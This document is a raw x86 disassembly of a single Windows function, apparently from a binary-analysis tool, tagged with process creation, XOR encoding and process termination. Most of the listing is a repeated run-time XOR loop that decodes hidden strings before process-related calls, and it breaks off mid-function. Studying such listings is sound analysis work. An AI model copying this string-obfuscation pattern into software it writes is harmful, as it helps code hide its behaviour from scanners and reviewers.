Function at 0x44ec70
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d2b40
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2c8
mov eax, dword [0x659bc0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea ecx, [ebp - 0xa8]
call fcn.0044e0e0
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x8c]
call fcn.0044d9b0
lea esi, [edi + 0x100]
push eax
mov ecx, esi
call fcn.0046ef60
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x44ed13
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ed09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ed5b
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
cmp ecx, 0xf
jbe 0x44ed6b
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ed61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44ed61
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce99e
add esp, 8
cmp dword [edi + 0x28], 0xa
jne 0x450708
cmp dword [edi + 0x40], 0x40
jne 0x450708
mov ax, word [0x649b08]
movq xmm0, qword [0x649b00]
movq qword [ebp - 0x5c], xmm0
mov word [ebp - 0x54], ax
test ah, ah
je 0x44eddb
xor edx, edx
mov dword [ebp - 0x2a8], edx
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x5c], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 0xa
jl 0x44eda2
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44edf6
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00472fb0
mov dword [ebp - 4], 2
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
lea edx, [edi + 0x18]
lea ecx, [ebp - 0x25c]
cmova eax, dword [ebp - 0x50]
mov dword [ebp - 0x2ac], eax
call fcn.0044ddc0
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 3
mov cx, word [0x649250]
movq xmm0, qword [0x649248]
movq qword [ebp - 0x2c], xmm0
mov word [ebp - 0x24], cx
test ch, ch
je 0x44ee99
xor edx, edx
mov dword [ebp - 0x2a8], edx
nop dword [eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 0xa
jl 0x44ee60
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x74], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44eeb4
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00472fb0
mov byte [ebp - 4], 4
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 0xf
lea ecx, [ebp - 0x244]
mov edx, edi
cmova eax, dword [ebp - 0x74]
mov dword [ebp - 0x2b8], eax
call fcn.0044ddc0
mov dword [ebp - 0x2c4], eax
mov byte [ebp - 4], 5
xor edx, edx
mov ecx, dword [0x6494a4]
mov dword [ebp - 0x28], ecx
mov cx, word [0x6494a8]
mov word [ebp - 0x24], cx
mov cl, byte [0x6494aa]
mov byte [ebp - 0x22], cl
mov dword [ebp - 0x2a8], edx
nop dword [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x28], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 7
jl 0x44ef20
xorps xmm0, xmm0
mov dword [ebp - 0x12c], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x128], 0
movups xmmword [ebp - 0x13c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ef80
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x13c]
call fcn.00472fb0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x13c]
cmp dword [ebp - 0x128], 0xf
cmova eax, dword [ebp - 0x13c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2bc], esp
mov dword [ebp - 0x2c8], eax
push 0x666118
call fcn.0046f020
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [edi + 0x30]
mov dword [ebp - 0x2c0], esp
mov ecx, esp
push eax
call fcn.0046f020
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
push esi
call fcn.0046f020
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], 6
call fcn.0044e200
add esp, 0x48
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 4], 9
xor edx, edx
movq xmm0, qword [0x649cb8]
mov cl, byte [0x649cc0]
movq qword [ebp - 0x2c], xmm0
mov byte [ebp - 0x24], cl
mov dword [ebp - 0x2a8], edx
nop dword [eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x2c], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 9
jl 0x44f030
xorps xmm0, xmm0
mov dword [ebp - 0xfc], 0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0xf8], 0
movups xmmword [ebp - 0x10c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f090
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x10c]
call fcn.00472fb0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x10c]
cmp dword [ebp - 0xf8], 0xf
cmova eax, dword [ebp - 0x10c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2b4], esp
mov dword [ebp - 0x2c0], eax
push 0x666118
call fcn.0046f020
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [edi + 0x30]
mov dword [ebp - 0x38], esp
mov ecx, esp
push eax
call fcn.0046f020
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [edi + 0x48]
mov ecx, esp
push eax
call fcn.0046f020
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 0xa
call fcn.0044e200
add esp, 0x48
mov dword [ebp - 0x2b4], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [0x649a94]
mov dword [ebp - 0x38], ecx
mov cx, word [0x649a98]
mov word [ebp - 0x34], cx
test ch, ch
je 0x44f179
xor edx, edx
mov dword [ebp - 0x2a8], edx
nop
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x38], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 6
jl 0x44f140
xorps xmm0, xmm0
mov dword [ebp - 0x174], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x170], 0
movups xmmword [ebp - 0x184], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f1a0
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x184]
call fcn.00472fb0
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x184]
cmp dword [ebp - 0x170], 0xf
mov eax, dword [str.XL9]
mov dword [ebp - 0x38], eax
mov al, byte [0x649afc]
mov byte [ebp - 0x34], al
jbe 0x44f1e2
mov esi, dword [ebp - 0x184]
xor edx, edx
mov dword [ebp - 0x2a8], edx
nop word [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x38], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 5
jl 0x44f1f0
xorps xmm0, xmm0
mov dword [ebp - 0x15c], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x158], 0
movups xmmword [ebp - 0x16c], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f250
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x16c]
call fcn.00472fb0
mov byte [ebp - 4], 0xf
lea edx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0xf4], xmm0
cmova edx, dword [ebp - 0x16c]
mov ecx, edx
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x2a8], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f2b0
sub ecx, dword [ebp - 0x2a8]
push ecx
push edx
lea ecx, [ebp - 0xf4]
call fcn.00472fb0
lea edx, [ebp - 0xf4]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x28c]
call fcn.0044ddc0
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [str.AOG_]
mov dword [ebp - 0x28], ecx
mov cx, word [0x648e60]
mov word [ebp - 0x24], cx
test ch, ch
je 0x44f349
xor edx, edx
mov dword [ebp - 0x2a8], edx
nop word [eax + eax]
mov eax, 0x29e4129f
mul edx
mov eax, dword [ebp - 0x2a8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2a8]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x37
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x28], cl
inc edx
mov dword [ebp - 0x2a8], edx
cmp edx, 6
jl 0x44f310
xorps xmm0, xmm0
mov dword [ebp - 0x144], 0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x140], 0
movups xmmword [ebp - 0x154], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f370
sub ecx, edx
lea eax, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x154]
call fcn.00472fb0
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0x154]
cmp dword [ebp - 0x140], 0xf
cmova edx, dword [ebp - 0x154]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2a8], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f3b0
sub ecx, dword [ebp - 0x2a8]
push ecx
mov ecx, dword [ebp - 0x38]
push edx
push 0
call fcn.00470770
mov dword [ebp - 0xcc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xdc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xcc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push esi
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x13
call fcn.0046edc0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x98], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0xa8]
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0x8c]
push eax
push dword [ebp - 0x2ac]
call fcn.004749e0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8c]
push dword [ebp - 0x2c0]
call fcn.0046edc0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x19c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x18c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x19c]
push dword [ebp - 0x2bc]
lea ecx, [ebp - 0x1cc]
push eax
push dword [ebp - 0x2ac]
call fcn.004749e0
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 0x17
call fcn.0046edc0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x2c4]
lea eax, [ebp - 0x1b4]
mov byte [ebp - 4], 0x18
push eax
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0x1e4]
call fcn.004749e0
push dword [ebp - 0x2b8]
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1e4]
call fcn.0046edc0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2a4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x294], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x2a4]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x1fc]
push eax
push dword [ebp - 0x2ac]
call fcn.004749e0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x1fc]
push dword [ebp - 0x2ac]
call fcn.0046edc0
mov dword [ebp - 0xb4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0x666118
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0x1c
call fcn.0046ee90
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x274], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x264], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0xf
jbe 0x44f658
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f64e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0xf
jbe 0x44f6b1
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f6a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1e8], 0xf
mov byte [ebp - 0x1fc], 0
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x290]
cmp ecx, 0xf
jbe 0x44f70a
mov edx, dword [ebp - 0x2a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f700
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x1d0]
cmp ecx, 0xf
jbe 0x44f748
mov edx, dword [ebp - 0x1e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f73e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1d0], 0xf
mov byte [ebp - 0x1e4], 0
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0xf
jbe 0x44f7a1
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f797
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x1b8]
cmp ecx, 0xf
jbe 0x44f7df
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f7d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0xf
mov byte [ebp - 0x1cc], 0
mov byte [ebp - 4], 0x24
mov ecx, dword [ebp - 0x188]
cmp ecx, 0xf
jbe 0x44f838
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f82e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x44f873
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f869
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x94]
cmp ecx, 0xf
jbe 0x44f8c6
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f8bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0xc8]
cmp ecx, 0xf
jbe 0x44f904
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f8fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x140]
cmp ecx, 0xf
jbe 0x44f95d
mov edx, dword [ebp - 0x154]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f953
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x278]
cmp ecx, 0xf
jbe 0x44f99b
mov edx, dword [ebp - 0x28c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f991
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x278], 0xf
mov byte [ebp - 0x28c], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0xe0]
cmp ecx, 0xf
jbe 0x44f9f4
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f9ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x158]
cmp ecx, 0xf
jbe 0x44fa4d
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fa43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x170]
cmp ecx, 0xf
jbe 0x44fa8b
mov edx, dword [ebp - 0x184]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fa81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x200]
cmp ecx, 0xf
jbe 0x44fac9
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fabf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0xf8]
cmp ecx, 0xf
jbe 0x44fb22
mov edx, dword [ebp - 0x10c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fb18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x218]
cmp ecx, 0xf
jbe 0x44fb60
mov edx, dword [ebp - 0x22c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fb56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0xf
mov byte [ebp - 0x22c], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x128]
cmp ecx, 0xf
jbe 0x44fbb9
mov edx, dword [ebp - 0x13c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fbaf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x230]
cmp ecx, 0xf
jbe 0x44fbf7
mov edx, dword [ebp - 0x244]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fbed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0xf
mov byte [ebp - 0x244], 0
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x44fc4a
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fc40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x248]
cmp ecx, 0xf
jbe 0x44fc84
mov edx, dword [ebp - 0x25c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fc7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44fcc9
push ecx
push edx
call fcn.005ce99e
add esp, 8
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x44fcd9
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fccf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44fccf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce99e
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x274]
mov ecx, esp
push eax
call fcn.0046f020
lea ecx, [ebp - 0x124]
call fcn.00455410
mov byte [ebp - 4], 0x35
mov ecx, esp
mov dword [ebp - 0x2ac], esp
push 0x666118
call fcn.0046f020
sub esp, 0x18
mov byte [ebp - 4], 0x36
lea eax, [edi + 0x30]
mov dword [ebp - 0x58], esp
mov ecx, esp
push eax
call fcn.0046f020
sub esp, 0x18
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x124]
mov ecx, esp
push eax
call fcn.0046f020
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x35
call fcn.0044e4a0
add esp, 0x48
lea ecx, [ebp - 0x124]
push eax
call fcn.0046ef60
mov ecx, dword [ebp - 0x94]
cmp ecx, 0xf
jbe 0x44fd8f
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fd85
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44fd85
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce99e
add esp, 8
push 0
push 1
sub esp, 0x28
lea edx, [ebp - 0x124]
mov eax, esp
lea ecx, [ebp - 0x2d8]
mov dword [eax + 0x24], 0
call fcn.00471af0
add esp, 0x30
mov byte [ebp - 4], 0x38
cmp byte [0x64947b], 0
mov eax, dword [str.FCT_IH_i6]
mov ecx, dword [0x649478]
mov esi, dword [0x665d98]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
je 0x44ff06
xor edx, edx
mov dword [ebp - 0x2a8], edx
cmp esi, 2
jl 0x44fed3
movaps xmm2, xmmword [0x64a650]
movaps xmm3, xmmword [0x64a6f0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a670]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a660]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a6d0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x64a720]
movd xmm0, eax
xorps xmm1, xmm0
movaps xmm0, xmm2
